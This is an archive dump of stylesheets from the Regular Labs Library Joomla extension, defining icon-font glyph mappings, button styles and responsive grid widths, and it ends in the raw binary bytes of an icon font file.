icon-reglab-"],[class^=icon-reglab-]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:16px;font-size:16px;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-reglab:before{font-family:RegularLabs!important;font-size:14.2px!important;content:"\e000"}.icon-reglab.icon-src_nosourcetags:before,.icon-reglab.icon-src_sourcetags:before,.icon-reglab.icon-src_tagstyle:before,.icon-reglab.icon-src_tagstyle_brackets:before,[class*="
icon-reglab-"]:before,[class^=icon-reglab-]:before{font-family:RegularLabsIcons!important}h1
.icon-reglab:before,h2 .icon-reglab:before{font-size:16px!important}.btn
.icon-reglab{text-indent:-2px;font-size:12px}.btn
.icon-reglab:before{vertical-align:-3px}.icon-reglab-24:before{vertical-align:-5px}@media
screen and
(-webkit-min-device-pixel-ratio:0){.icon-reglab-24:before{vertical-align:-3px}}.icon-nonumber:before{content:"\e100"}.icon-addtomenu:before{content:"\e001"}.icon-advancedmodulemanager:before{content:"\e003"}.icon-advancedtemplatemanager:before{content:"\e015"}.icon-articlesanywhere:before{content:"\e004"}.icon-articlesfield:before{content:"\e01d"}.icon-betterpreview:before{content:"\e005"}.icon-bettertrash:before{content:"\e01b"}.icon-cachecleaner:before{content:"\e006"}.icon-cdnforjoomla:before{content:"\e007"}.icon-componentsanywhere:before{content:"\e008"}.icon-conditionalcontent:before{content:"\e019"}.icon-contenttemplater:before{content:"\e009"}.icon-dbreplacer:before{content:"\e00a"}.icon-dummycontent:before{content:"\e017"}.icon-emailprotector:before{content:"\e00b"}.icon-geoip:before{content:"\e018"}.icon-iplogin:before{content:"\e016"}.icon-keyboardshortcuts:before{content:"\e01e"}.icon-modals:before{content:"\e00c"}.icon-modulesanywhere:before{content:"\e00d"}.icon-quickindex:before{content:"\e01c"}.icon-rereplacer:before{content:"\e00e"}.icon-simpleusernotes:before{content:"\e01a"}.icon-sliders:before{content:"\e00f"}.icon-snippets:before{content:"\e010"}.icon-sourcerer:before{content:"\e011"}.icon-tabs:before{content:"\e012"}.icon-tooltips:before{content:"\e014"}.icon-whatnothing:before{content:"
";width:16px;display:inline-block}.icon-reglab-paragraph-left:before{content:"\e001"}.icon-reglab-paragraph-center:before{content:"\e002"}.icon-reglab-paragraph-right:before{content:"\e003"}.icon-reglab-paragraph-justify:before{content:"\e004"}.icon-reglab-undo:before{content:"\e005"}.icon-reglab-redo:before{content:"\e006"}.icon-reglab-spinner:before{content:"\e007"}.icon-reglab-lock:before{content:"\e008"}.icon-reglab-unlocked:before{content:"\e009"}.icon-reglab-cog:before{content:"\e00a"}.icon-reglab-arrow-up:before{content:"\e00b"}.icon-reglab-arrow-right:before{content:"\e00c"}.icon-reglab-arrow-down:before{content:"\e00d"}.icon-reglab-arrow-left:before{content:"\e00e"}.icon-reglab-top:before{content:"\e00f"}.icon-reglab-bottom:before{content:"\e010"}.icon-reglab-simple:before{content:"\e011"}.icon-reglab-normal:before{content:"\e012"}.icon-reglab-advanced:before{content:"\e013"}.icon-reglab-home:before{content:"\e014"}.icon-reglab-info:before{content:"\e015"}.icon-reglab-warning:before{content:"\e016"}.icon-reglab-not-ok:before{content:"\e017"}.icon-reglab-link:before{content:"\e018"}.icon-reglab-eye:before{content:"\e019"}.icon-reglab-search:before{content:"\e01a"}.icon-reglab-earth:before{content:"\e01f"}.icon-reglab-src_sourcetags:before{content:"\e01b"}.icon-reglab-src_nosourcetags:before{content:"\e01c"}.icon-reglab-src_tagstyle:before{content:"\e01d"}.icon-reglab-src_tagstyle_brackets:before{content:"\e01e"}.icon-reglab-bundle:before{content:"\e021"}.icon-reglab-lifetime:before{content:"\e022"}.icon-reglab-twitter:before{content:"\e030"}.icon-reglab-google-plus:before{content:"\e031"}.icon-reglab-facebook:before{content:"\e032"}.icon-reglab-joomla:before{content:"\e033"}.icon-reglab.icon-src_sourcetags:before{content:"\e01b"}.icon-reglab.icon-src_nosourcetags:before{content:"\e01c"}.icon-reglab.icon-src_tagstyle:before{content:"\e01d"}.icon-reglab.icon-src_tagstyle_brackets:before{content:"\e01e"}.icon-expired:before{content:"\6e"}body.reglab-popup{padding:0}body.reglab-popup
.container-fluid{padding:0 20px}body.reglab-popup
.navbar{margin-bottom:10px}body.reglab-popup .navbar
.navbar-inner{padding-left:0;padding-right:0;border-radius:0;border-left:none;border-right:none}body.reglab-popup
.navbar #toolbar,body.reglab-popup .navbar
.btn-toolbar{margin-top:2px;margin-bottom:2px}body.reglab-popup
.header.has-navbar-fixed-top{margin-top:44px;margin-bottom:10px;padding-top:2px;padding-bottom:2px}body.reglab-popup
.subhead{padding-left:0;padding-right:0}body.reglab-popup
.page-title{text-align:left}body.reglab-popup
label>span[class^=icon-reglab]{padding:1px 0 3px}body.reglab-popup
.reglab-overlay{background-color:#000;position:fixed;left:0;top:0;width:100%;height:100%;z-index:5000;opacity:.2;cursor:wait}body.reglab-popup
.chzn-container-single .chzn-single div b{background:0
0!important}body.reglab-popup .nav-tabs>li>a{border-color:#eee #eee
#ddd;background-color:#f5f5f5;margin-right:4px}body.reglab-popup
.nav-tabs>li>a:focus,body.reglab-popup
.nav-tabs>li>a:hover{background-color:#eee}body.reglab-popup
.nav-tabs>li.active a{border-color:#ddd #ddd
transparent;background-color:#fff}css/style.css000064400000030622151165506420007216
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@font-face {
font-family: 'RegularLabs';
src: url('../fonts/RegularLabs.eot');
src: url('../fonts/RegularLabs.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabs.woff') format('woff'),
url('../fonts/RegularLabs.ttf') format('truetype'),
url('../fonts/RegularLabs.svg#RegularLabs')
format('svg');
font-weight: normal;
font-style: normal;
}
@font-face {
font-family: 'RegularLabsIcons';
src: url('../fonts/RegularLabsIcons.eot');
src: url('../fonts/RegularLabsIcons.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabsIcons.woff') format('woff'),
url('../fonts/RegularLabsIcons.ttf')
format('truetype'),
url('../fonts/RegularLabsIcons.svg#RegularLabsIcons')
format('svg');
font-weight: normal;
font-style: normal;
}
.icon-reglab,
[class^="icon-reglab-"],
[class*=" icon-reglab-"] {
display: inline-block;
width: 14px;
height: 14px;
*margin-right: 0.3em;
line-height: 16px;
font-size: 16px;
speak: none;
font-style: normal;
font-weight: normal;
font-variant: normal;
text-transform: none;
/* Better Font Rendering =========== */
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.icon-reglab:before {
font-family: 'RegularLabs' !important;
font-size: 14.2px !important;
}
h1 .icon-reglab:before,
h2 .icon-reglab:before {
font-size: 16px !important;
}
.btn .icon-reglab {
text-indent: -2px;
font-size: 12px;
}
.btn .icon-reglab:before {
vertical-align: -3px;
}
.icon-reglab-24:before {
vertical-align: -5px;
}
@media screen and (-webkit-min-device-pixel-ratio: 0) {
.icon-reglab-24:before {
vertical-align: -3px;
}
}
.icon-reglab:before {
content: "\e000";
}
.icon-nonumber:before {
content: "\e100";
}
.icon-addtomenu:before {
content: "\e001";
}
.icon-advancedmodulemanager:before {
content: "\e003";
}
.icon-advancedtemplatemanager:before {
content: "\e015";
}
.icon-articlesanywhere:before {
content: "\e004";
}
.icon-articlesfield:before {
content: "\e01d";
}
.icon-betterpreview:before {
content: "\e005";
}
.icon-bettertrash:before {
content: "\e01b";
}
.icon-cachecleaner:before {
content: "\e006";
}
.icon-cdnforjoomla:before {
content: "\e007";
}
.icon-componentsanywhere:before {
content: "\e008";
}
.icon-conditionalcontent:before {
content: "\e019";
}
.icon-contenttemplater:before {
content: "\e009";
}
.icon-dbreplacer:before {
content: "\e00a";
}
.icon-dummycontent:before {
content: "\e017";
}
.icon-emailprotector:before {
content: "\e00b";
}
.icon-geoip:before {
content: "\e018";
}
.icon-iplogin:before {
content: "\e016";
}
.icon-keyboardshortcuts:before {
content: "\e01e";
}
.icon-modals:before {
content: "\e00c";
}
.icon-modulesanywhere:before {
content: "\e00d";
}
.icon-quickindex:before {
content: "\e01c";
}
.icon-rereplacer:before {
content: "\e00e";
}
.icon-simpleusernotes:before {
content: "\e01a";
}
.icon-sliders:before {
content: "\e00f";
}
.icon-snippets:before {
content: "\e010";
}
.icon-sourcerer:before {
content: "\e011";
}
.icon-tabs:before {
content: "\e012";
}
.icon-tooltips:before {
content: "\e014";
}
.icon-whatnothing:before {
content: " ";
width: 16px;
display: inline-block;
}
[class^="icon-reglab-"]:before,
[class*=" icon-reglab-"]:before {
font-family: 'RegularLabsIcons' !important;
}
.icon-reglab-paragraph-left:before {
content: "\e001";
}
.icon-reglab-paragraph-center:before {
content: "\e002";
}
.icon-reglab-paragraph-right:before {
content: "\e003";
}
.icon-reglab-paragraph-justify:before {
content: "\e004";
}
.icon-reglab-undo:before {
content: "\e005";
}
.icon-reglab-redo:before {
content: "\e006";
}
.icon-reglab-spinner:before {
content: "\e007";
}
.icon-reglab-lock:before {
content: "\e008";
}
.icon-reglab-unlocked:before {
content: "\e009";
}
.icon-reglab-cog:before {
content: "\e00a";
}
.icon-reglab-arrow-up:before {
content: "\e00b";
}
.icon-reglab-arrow-right:before {
content: "\e00c";
}
.icon-reglab-arrow-down:before {
content: "\e00d";
}
.icon-reglab-arrow-left:before {
content: "\e00e";
}
.icon-reglab-top:before {
content: "\e00f";
}
.icon-reglab-bottom:before {
content: "\e010";
}
.icon-reglab-simple:before {
content: "\e011";
}
.icon-reglab-normal:before {
content: "\e012";
}
.icon-reglab-advanced:before {
content: "\e013";
}
.icon-reglab-home:before {
content: "\e014";
}
.icon-reglab-info:before {
content: "\e015";
}
.icon-reglab-warning:before {
content: "\e016";
}
.icon-reglab-not-ok:before {
content: "\e017";
}
.icon-reglab-link:before {
content: "\e018";
}
.icon-reglab-eye:before {
content: "\e019";
}
.icon-reglab-search:before {
content: "\e01a";
}
.icon-reglab-earth:before {
content: "\e01f";
}
.icon-reglab-src_sourcetags:before {
content: "\e01b";
}
.icon-reglab-src_nosourcetags:before {
content: "\e01c";
}
.icon-reglab-src_tagstyle:before {
content: "\e01d";
}
.icon-reglab-src_tagstyle_brackets:before {
content: "\e01e";
}
.icon-reglab-bundle:before {
content: "\e021";
}
.icon-reglab-lifetime:before {
content: "\e022";
}
.icon-reglab-twitter:before {
content: "\e030";
}
.icon-reglab-google-plus:before {
content: "\e031";
}
.icon-reglab-facebook:before {
content: "\e032";
}
.icon-reglab-joomla:before {
content: "\e033";
}
.icon-reglab.icon-src_sourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01b";
}
.icon-reglab.icon-src_nosourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01c";
}
.icon-reglab.icon-src_tagstyle:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01d";
}
.icon-reglab.icon-src_tagstyle_brackets:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01e";
}
.icon-expired:before {
content: "\6e";
}
.rl_tablelist td {
height: 22px;
color: #555;
}
.rl_tablelist td.has-context {
height: 23px;
}
.rl_code {
font-family: Monaco, Menlo, Consolas, "Courier New", monospace;
color: #999;
}
.well .well {
border-color: #dedede;
}
div.rl_well {
padding-bottom: 0;
}
div.rl_well h4 {
margin-top: 6px;
}
div.rl_well.alert-success,
div.rl_well.alert-error {
color: #333;
}
div.rl_well .controls .btn-group > .btn {
min-width: auto;
}
.well-striped:nth-child(even) {
background-color: #f8f8f8;
}
.alert.alert-inline {
margin: 14px 0 0;
}
.alert.alert-noclose {
padding: 8px 14px;
}
.rl_has-ignore .btn-primary.active,
.rl_btn-ignore.btn-danger.active {
background-color: #999;
border: 1px solid rgba(0, 0, 0, 0.2);
}
.rl_has-ignore .btn-primary.active:hover,
.rl_btn-ignore.btn-danger.active:hover,
.rl_has-ignore .btn-primary.active:focus,
.rl_btn-ignore.btn-danger.active:focus {
background-color: #737373;
}
.rl_btn-exclude.btn-success.active {
background-color: #bd362f;
border: 1px solid rgba(0, 0, 0, 0.2);
}
.rl_btn-exclude.btn-success.active:hover,
.rl_btn-exclude.btn-success.active:focus {
background-color: #802420;
}
.btn-group.btn-group-full,
.subform-table-layout table .btn-group.btn-group-full,
.btn-full {
width: 100%;
box-sizing: border-box;
margin: 0;
}
.icon-back:before {
content: "\e008";
}
.icon-spin {
-webkit-animation: spin 0.5s infinite linear;
animation: spin 0.5s infinite linear;
}
@-webkit-keyframes spin {
0% {
-webkit-transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(359deg);
}
}
@-moz-keyframes spin {
0% {
-moz-transform: rotate(0deg);
}
100% {
-moz-transform: rotate(359deg);
}
}
@-ms-keyframes spin {
0% {
-ms-transform: rotate(0deg);
}
100% {
-ms-transform: rotate(359deg);
}
}
@-o-keyframes spin {
0% {
-o-transform: rotate(0deg);
}
100% {
-o-transform: rotate(359deg);
}
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(359deg);
}
}
/* Dropdown and dropup fixes */
.btn-toolbar .modal,
.btn-toolbar .dropdown-menu {
font-size: 13px;
}
@media (min-width: 768px) {
.dropdown {
display: inline-block;
}
.dropdown-menu.dropup-menu {
bottom: 100%;
top: auto;
}
}
/* popovers */
.popover {
width: auto;
min-width: 200px;
}
/* icons */
.icon-color {
background: transparent url(../images/icon-color.png) no-repeat;
width: 16px !important;
height: 16px !important;
}
.clearfix {
*zoom: 1;
}
.clearfix:before,
.clearfix:after {
display: table;
content: "";
line-height: 0;
}
.clearfix:after {
clear: both;
}
.thumbnail-small > .thumbnail > img {
max-width: 40px;
}
#key_button,
#jform_key_button {
margin-left: 8px;
}
.ghosted {
opacity: 0.6;
filter: alpha(opacity=60);
}
.rl_license {
margin-top: 30px;
text-align: center;
}
.rl_footer {
margin-top: 30px;
}
.rl_footer div {
margin-top: 30px;
text-align: center;
}
.rl_footer .rl_footer_review {
margin-top: 5px;
}
.rl_footer .rl_footer_review a.stars {
display: inline-block;
}
.rl_footer .rl_footer_review a.stars .icon-star {
color: #fcac0a;
margin: 0;
-webkit-transition-duration: 500ms;
-moz-transition-duration: 500ms;
-o-transition-duration: 500ms;
transition-duration: 500ms;
}
.rl_footer .rl_footer_review a.stars:hover {
text-decoration: none;
}
.rl_footer .rl_footer_review a.stars:hover .icon-star {
-webkit-transform: rotate(216deg);
-moz-transform: rotate(216deg);
-ms-transform: rotate(216deg);
-o-transform: rotate(216deg);
transform: rotate(216deg);
}
.rl_footer .rl_footer_logo img {
vertical-align: -40%;
}
.rl_footer .rl_footer_copyright {
margin-top: 3px;
font-size: 0.7em;
opacity: 0.6;
filter: alpha(opacity=60);
}
.rl_simplecategory_new {
margin-top: 4px;
}
.rl_codemirror .CodeMirror-activeline-background {
background: rgba(164, 194, 235, 0.1);
}
/* better responsiveness */
@media (min-width: 768px) and (max-width: 1200px) {
.row-fluid [class*="span"][class*="span-md"] {
margin-left: 2.12%;
*margin-left: 2.03%;
}
.row-fluid
[class*="span"][class*="span-md"]:first-child {
margin-left: 0;
}
.row-fluid [class*="span"].span-md-12 {
width: 100%;
*width: 99.94680851%;
margin-left: 0;
}
.row-fluid [class*="span"].span-md-11 {
width: 91.4893617%;
*width: 91.43617021%;
}
.row-fluid [class*="span"].span-md-10 {
width: 82.9787234%;
*width: 82.92553191%;
}
.row-fluid [class*="span"].span-md-9 {
width: 74.46808511%;
*width: 74.41489362%;
}
.row-fluid [class*="span"].span-md-8 {
width: 65.95744681%;
*width: 65.90425532%;
}
.row-fluid [class*="span"].span-md-7 {
width: 57.44680851%;
*width: 57.39361702%;
}
.row-fluid [class*="span"].span-md-6 {
width: 48.93617021%;
*width: 48.88297872%;
}
.row-fluid [class*="span"].span-md-5 {
width: 40.42553191%;
*width: 40.37234043%;
}
.row-fluid [class*="span"].span-md-4 {
width: 31.91489362%;
*width: 31.86170213%;
}
.row-fluid [class*="span"].span-md-3 {
width: 23.40425532%;
*width: 23.35106383%;
}
.row-fluid [class*="span"].span-md-2 {
width: 14.89361702%;
*width: 14.84042553%;
}
.row-fluid [class*="span"].span-md-1 {
width: 6.38297872%;
*width: 6.32978723%;
}
}
@media (min-width: 1200px) and (max-width: 1400px) {
.row-fluid [class*="span"].span-lg-12 {
width: 100%;
*width: 99.94680851%;
margin-left: 0;
}
.row-fluid [class*="span"].span-lg-11 {
width: 91.4893617%;
*width: 91.43617021%;
}
.row-fluid [class*="span"].span-lg-10 {
width: 82.9787234%;
*width: 82.92553191%;
}
.row-fluid [class*="span"].span-lg-9 {
width: 74.46808511%;
*width: 74.41489362%;
}
.row-fluid [class*="span"].span-lg-8 {
width: 65.95744681%;
*width: 65.90425532%;
}
.row-fluid [class*="span"].span-lg-7 {
width: 57.44680851%;
*width: 57.39361702%;
}
.row-fluid [class*="span"].span-lg-6 {
width: 48.93617021%;
*width: 48.88297872%;
}
.row-fluid [class*="span"].span-lg-5 {
width: 40.42553191%;
*width: 40.37234043%;
}
.row-fluid [class*="span"].span-lg-4 {
width: 31.91489362%;
*width: 31.86170213%;
}
.row-fluid [class*="span"].span-lg-3 {
width: 23.40425532%;
*width: 23.35106383%;
}
.row-fluid [class*="span"].span-lg-2 {
width: 14.89361702%;
*width: 14.84042553%;
}
.row-fluid [class*="span"].span-lg-1 {
width: 6.38297872%;
*width: 6.32978723%;
}
}
css/style.min.css000064400000023514151165506420010002 0ustar00.rl_footer
div,.rl_license{text-align:center}.ghosted,.rl_footer
.rl_footer_copyright{opacity:.6;filter:alpha(opacity=60)}@font-face{font-family:RegularLabs;src:url(../fonts/RegularLabs.eot);src:url(../fonts/RegularLabs.eot?#iefix)
format('embedded-opentype'),url(../fonts/RegularLabs.woff)
format('woff'),url(../fonts/RegularLabs.ttf)
format('truetype'),url(../fonts/RegularLabs.svg#RegularLabs)
format('svg');font-weight:400;font-style:normal}@font-face{font-family:RegularLabsIcons;src:url(../fonts/RegularLabsIcons.eot);src:url(../fonts/RegularLabsIcons.eot?#iefix)
format('embedded-opentype'),url(../fonts/RegularLabsIcons.woff)
format('woff'),url(../fonts/RegularLabsIcons.ttf)
format('truetype'),url(../fonts/RegularLabsIcons.svg#RegularLabsIcons)
format('svg');font-weight:400;font-style:normal}.icon-reglab,[class*="
icon-reglab-"],[class^=icon-reglab-]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:16px;font-size:16px;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-reglab:before{font-family:RegularLabs!important;font-size:14.2px!important;content:"\e000"}.icon-reglab.icon-src_nosourcetags:before,.icon-reglab.icon-src_sourcetags:before,.icon-reglab.icon-src_tagstyle:before,.icon-reglab.icon-src_tagstyle_brackets:before,[class*="
icon-reglab-"]:before,[class^=icon-reglab-]:before{font-family:RegularLabsIcons!important}h1
.icon-reglab:before,h2 .icon-reglab:before{font-size:16px!important}.btn
.icon-reglab{text-indent:-2px;font-size:12px}.btn
.icon-reglab:before{vertical-align:-3px}.icon-reglab-24:before{vertical-align:-5px}@media
screen and
(-webkit-min-device-pixel-ratio:0){.icon-reglab-24:before{vertical-align:-3px}}.icon-nonumber:before{content:"\e100"}.icon-addtomenu:before{content:"\e001"}.icon-advancedmodulemanager:before{content:"\e003"}.icon-advancedtemplatemanager:before{content:"\e015"}.icon-articlesanywhere:before{content:"\e004"}.icon-articlesfield:before{content:"\e01d"}.icon-betterpreview:before{content:"\e005"}.icon-bettertrash:before{content:"\e01b"}.icon-cachecleaner:before{content:"\e006"}.icon-cdnforjoomla:before{content:"\e007"}.icon-componentsanywhere:before{content:"\e008"}.icon-conditionalcontent:before{content:"\e019"}.icon-contenttemplater:before{content:"\e009"}.icon-dbreplacer:before{content:"\e00a"}.icon-dummycontent:before{content:"\e017"}.icon-emailprotector:before{content:"\e00b"}.icon-geoip:before{content:"\e018"}.icon-iplogin:before{content:"\e016"}.icon-keyboardshortcuts:before{content:"\e01e"}.icon-modals:before{content:"\e00c"}.icon-modulesanywhere:before{content:"\e00d"}.icon-quickindex:before{content:"\e01c"}.icon-rereplacer:before{content:"\e00e"}.icon-simpleusernotes:before{content:"\e01a"}.icon-sliders:before{content:"\e00f"}.icon-snippets:before{content:"\e010"}.icon-sourcerer:before{content:"\e011"}.icon-tabs:before{content:"\e012"}.icon-tooltips:before{content:"\e014"}.icon-whatnothing:before{content:"
";width:16px;display:inline-block}.icon-reglab-paragraph-left:before{content:"\e001"}.icon-reglab-paragraph-center:before{content:"\e002"}.icon-reglab-paragraph-right:before{content:"\e003"}.icon-reglab-paragraph-justify:before{content:"\e004"}.icon-reglab-undo:before{content:"\e005"}.icon-reglab-redo:before{content:"\e006"}.icon-reglab-spinner:before{content:"\e007"}.icon-reglab-lock:before{content:"\e008"}.icon-reglab-unlocked:before{content:"\e009"}.icon-reglab-cog:before{content:"\e00a"}.icon-reglab-arrow-up:before{content:"\e00b"}.icon-reglab-arrow-right:before{content:"\e00c"}.icon-reglab-arrow-down:before{content:"\e00d"}.icon-reglab-arrow-left:before{content:"\e00e"}.icon-reglab-top:before{content:"\e00f"}.icon-reglab-bottom:before{content:"\e010"}.icon-reglab-simple:before{content:"\e011"}.icon-reglab-normal:before{content:"\e012"}.icon-reglab-advanced:before{content:"\e013"}.icon-reglab-home:before{content:"\e014"}.icon-reglab-info:before{content:"\e015"}.icon-reglab-warning:before{content:"\e016"}.icon-reglab-not-ok:before{content:"\e017"}.icon-reglab-link:before{content:"\e018"}.icon-reglab-eye:before{content:"\e019"}.icon-reglab-search:before{content:"\e01a"}.icon-reglab-earth:before{content:"\e01f"}.icon-reglab-src_sourcetags:before{content:"\e01b"}.icon-reglab-src_nosourcetags:before{content:"\e01c"}.icon-reglab-src_tagstyle:before{content:"\e01d"}.icon-reglab-src_tagstyle_brackets:before{content:"\e01e"}.icon-reglab-bundle:before{content:"\e021"}.icon-reglab-lifetime:before{content:"\e022"}.icon-reglab-twitter:before{content:"\e030"}.icon-reglab-google-plus:before{content:"\e031"}.icon-reglab-facebook:before{content:"\e032"}.icon-reglab-joomla:before{content:"\e033"}.icon-reglab.icon-src_sourcetags:before{content:"\e01b"}.icon-reglab.icon-src_nosourcetags:before{content:"\e01c"}.icon-reglab.icon-src_tagstyle:before{content:"\e01d"}.icon-reglab.icon-src_tagstyle_brackets:before{content:"\e01e"}.icon-expired:before{content:"\6e"}.rl_tablelist
td{height:22px;color:#555}.rl_tablelist
td.has-context{height:23px}.rl_code{font-family:Monaco,Menlo,Consolas,"Courier
New",monospace;color:#999}.well
.well{border-color:#dedede}div.rl_well{padding-bottom:0}div.rl_well
h4{margin-top:6px}div.rl_well.alert-error,div.rl_well.alert-success{color:#333}div.rl_well
.controls
.btn-group>.btn{min-width:auto}.well-striped:nth-child(even){background-color:#f8f8f8}.alert.alert-inline{margin:14px
0 0}.alert.alert-noclose{padding:8px
14px}.rl_btn-ignore.btn-danger.active,.rl_has-ignore
.btn-primary.active{background-color:#999;border:1px solid
rgba(0,0,0,.2)}.rl_btn-ignore.btn-danger.active:focus,.rl_btn-ignore.btn-danger.active:hover,.rl_has-ignore
.btn-primary.active:focus,.rl_has-ignore
.btn-primary.active:hover{background-color:#737373}.rl_btn-exclude.btn-success.active{background-color:#bd362f;border:1px
solid
rgba(0,0,0,.2)}.rl_btn-exclude.btn-success.active:focus,.rl_btn-exclude.btn-success.active:hover{background-color:#802420}.btn-full,.btn-group.btn-group-full,.subform-table-layout
table
.btn-group.btn-group-full{width:100%;box-sizing:border-box;margin:0}.rl_footer,.rl_footer
div,.rl_license{margin-top:30px}.icon-back:before{content:"\e008"}.icon-spin{-webkit-animation:spin
.5s infinite linear;animation:spin .5s infinite linear}@-webkit-keyframes
spin{0%{-webkit-transform:rotate(0)}100%{-webkit-transform:rotate(359deg)}}@-moz-keyframes
spin{0%{-moz-transform:rotate(0)}100%{-moz-transform:rotate(359deg)}}@-ms-keyframes
spin{0%{-ms-transform:rotate(0)}100%{-ms-transform:rotate(359deg)}}@-o-keyframes
spin{0%{-o-transform:rotate(0)}100%{-o-transform:rotate(359deg)}}@keyframes
spin{0%{transform:rotate(0)}100%{transform:rotate(359deg)}}.btn-toolbar
.dropdown-menu,.btn-toolbar .modal{font-size:13px}@media
(min-width:768px){.dropdown{display:inline-block}.dropdown-menu.dropup-menu{bottom:100%;top:auto}}.popover{width:auto;min-width:200px}.icon-color{background:url(../images/icon-color.png)
no-repeat;width:16px!important;height:16px!important}.clearfix{*zoom:1}.clearfix:after,.clearfix:before{display:table;content:"";line-height:0}.clearfix:after{clear:both}.thumbnail-small>.thumbnail>img{max-width:40px}#jform_key_button,#key_button{margin-left:8px}.rl_footer
.rl_footer_review{margin-top:5px}.rl_footer .rl_footer_review
a.stars{display:inline-block}.rl_footer .rl_footer_review a.stars
.icon-star{color:#fcac0a;margin:0;-webkit-transition-duration:.5s;-moz-transition-duration:.5s;-o-transition-duration:.5s;transition-duration:.5s}.rl_footer
.rl_footer_review a.stars:hover{text-decoration:none}.rl_footer
.rl_footer_review a.stars:hover
.icon-star{-webkit-transform:rotate(216deg);-moz-transform:rotate(216deg);-ms-transform:rotate(216deg);-o-transform:rotate(216deg);transform:rotate(216deg)}.rl_footer
.rl_footer_logo img{vertical-align:-40%}.rl_footer
.rl_footer_copyright{margin-top:3px;font-size:.7em}.rl_simplecategory_new{margin-top:4px}.rl_codemirror
.CodeMirror-activeline-background{background:rgba(164,194,235,.1)}@media
(min-width:768px) and (max-width:1200px){.row-fluid
[class*=span][class*=span-md]{margin-left:2.12%;*margin-left:2.03%}.row-fluid
[class*=span][class*=span-md]:first-child{margin-left:0}.row-fluid
[class*=span].span-md-12{width:100%;*width:99.94680851%;margin-left:0}.row-fluid
[class*=span].span-md-11{width:91.4893617%;*width:91.43617021%}.row-fluid
[class*=span].span-md-10{width:82.9787234%;*width:82.92553191%}.row-fluid
[class*=span].span-md-9{width:74.46808511%;*width:74.41489362%}.row-fluid
[class*=span].span-md-8{width:65.95744681%;*width:65.90425532%}.row-fluid
[class*=span].span-md-7{width:57.44680851%;*width:57.39361702%}.row-fluid
[class*=span].span-md-6{width:48.93617021%;*width:48.88297872%}.row-fluid
[class*=span].span-md-5{width:40.42553191%;*width:40.37234043%}.row-fluid
[class*=span].span-md-4{width:31.91489362%;*width:31.86170213%}.row-fluid
[class*=span].span-md-3{width:23.40425532%;*width:23.35106383%}.row-fluid
[class*=span].span-md-2{width:14.89361702%;*width:14.84042553%}.row-fluid
[class*=span].span-md-1{width:6.38297872%;*width:6.32978723%}}@media
(min-width:1200px) and (max-width:1400px){.row-fluid
[class*=span].span-lg-12{width:100%;*width:99.94680851%;margin-left:0}.row-fluid
[class*=span].span-lg-11{width:91.4893617%;*width:91.43617021%}.row-fluid
[class*=span].span-lg-10{width:82.9787234%;*width:82.92553191%}.row-fluid
[class*=span].span-lg-9{width:74.46808511%;*width:74.41489362%}.row-fluid
[class*=span].span-lg-8{width:65.95744681%;*width:65.90425532%}.row-fluid
[class*=span].span-lg-7{width:57.44680851%;*width:57.39361702%}.row-fluid
[class*=span].span-lg-6{width:48.93617021%;*width:48.88297872%}.row-fluid
[class*=span].span-lg-5{width:40.42553191%;*width:40.37234043%}.row-fluid
[class*=span].span-lg-4{width:31.91489362%;*width:31.86170213%}.row-fluid
[class*=span].span-lg-3{width:23.40425532%;*width:23.35106383%}.row-fluid
[class*=span].span-lg-2{width:14.89361702%;*width:14.84042553%}.row-fluid
[class*=span].span-lg-1{width:6.38297872%;*width:6.32978723%}}fonts/RegularLabs.eot000064400000027010151165506420010616
0ustar00.T-�LP=��wRegularLabsRegularVersion
1.0RegularLabs�0OS/2A���`cmap�j�lgasp�glyf����(�head���*06hhea#*h$hmtx?�*��loca�T��+Fmaxp2G+\
name]l��+|�post-4 ��LfGLf��@�
P ��������
����������
!��797979@�
Iw�%#";2654&7#";2654&.'.'.#";26=>7>54&'#54&'.'.5467>7>7>32'"3265467>32654&#
` ` z
&&
" � "
)
� �
#
0 ;
&4!* *!4&�
##
++�
#
���)FW6D%#";26=4#553+"&546;2>=4&'.+";267'546;2+"&5010"1#"&'&4?#"&581546323'&4762021881021810181028181810181208181018181018381018101818101810181810181881810181881"010181810181810#818818181"1818810"189+"&546;2� � ������ @ @ 0
t
t
�
t
t
� Y I
\ @ @ � � � @ ` � �
t
t
&t
t
� ` P
��M'.#!"3!2654&'>7#!"&5463!'.#">?>7>71�
��`
< �� Q&%?
5%1���`:�� ` $(W/!!'-\05���
)HXn�46;2+"&32654&+"732654&+"+#!"&=#"&5463!232!2654&#!"#"&'#"&54635#3!2654&+32+32#81#32+3!265P � � � � � � �0�p�0 � W� @ ` p@ @@ @C � O I � �p0� � �
p @ @
0 �}+7DP&'.'&#"327>76?.'>7"&546327>54&''"32654&�B,-22-,B
B,-22-,B
��&99&
q'77''77@
&99&g
****G**$$&7''77''7$$**f
����"4F%#"&'&4?'.'&67%61%326764/&"'&"326764'����ep�e��pp�pp��� �� �pp��pp_�Z�.'.'.'.#".#"3267>73267>73267>7>54&'#"&'0410"1818#81&#"&'814&54&#"#"&5467812632654&'>3228181818120181678181>32813265<5�-
#
6
,
!$ &
*- &2C
)� &# .0?R#54&+";;26=326=4Ȣ2+"&5+"&=3;7+"&=326=32�j
�
� * �V
�
�
`
�
@ �`
�
j j
�* � j
� ��
�
�
j* 6
*
�
����
)CSe46;2+"&4&+";26'32654&+"#!"&=#"&5463!232!2654&#!"%4&++3!265P � � � � � �� � ���Pp�0 � � p�
